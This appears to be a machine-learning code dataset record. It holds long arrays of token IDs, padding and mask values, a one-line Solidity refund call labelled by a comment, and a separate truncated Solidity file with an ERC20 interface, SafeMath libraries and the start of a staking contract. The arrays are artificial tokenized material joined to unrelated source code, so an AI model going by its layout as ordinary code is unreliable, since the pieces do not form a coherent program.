1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
1142,
694,
5147,
4921,
63,
9406,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42/0xe66C93545aee977584bA8Bb9c4079C765761F6c0/sources/PaymentSystem.sol
|
Refund leftover tokens to customer
|
(bool sent,) = msg.sender.call{value: amountToRefund}("");
| 9,595,117 |
[
1,
4625,
348,
7953,
560,
30,
225,
3941,
1074,
29709,
2430,
358,
6666,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1377,
261,
6430,
3271,
16,
13,
273,
1234,
18,
15330,
18,
1991,
95,
1132,
30,
3844,
774,
21537,
97,
2932,
8863,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.7;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Mints `amount` tokens to address `account`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function mint(address account, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library SafeMath64 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint64 a, uint64 b) internal pure returns (uint64) {
uint64 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint64 a, uint64 b) internal pure returns (uint64) {
require(b <= a, "SafeMath: subtraction overflow");
uint64 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint64 a, uint64 b, string memory errorMessage) internal pure returns (uint64) {
require(b <= a, errorMessage);
uint64 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint64 a, uint64 b) internal pure returns (uint64) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint64 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint64 a, uint64 b) internal pure returns (uint64) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint64 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint64 a, uint64 b) internal pure returns (uint64) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Staking {
using SafeMath for uint256;
/**
* @dev Structure to store Interest details.
* It contains total amount of tokens staked and globalYield.
*/
struct InterestData {
uint256 globalTotalStaked;
uint256 globalYieldPerToken;
uint256 lastUpdated;
mapping(address => Staker) stakers;
}
/**
* @dev Structure to store staking details.
* It contains amount of tokens staked and withdrawn interest.
*/
struct Staker {
uint256 totalStaked;
uint256 withdrawnToDate;
uint256 stakeBuyinRate;
}
// Token address
ERC20 private stakeToken;
// Reward token
PlotXToken private rewardToken;
// Interest and staker data
InterestData public interestData;
uint public stakingStartTime;
uint public totalReward;
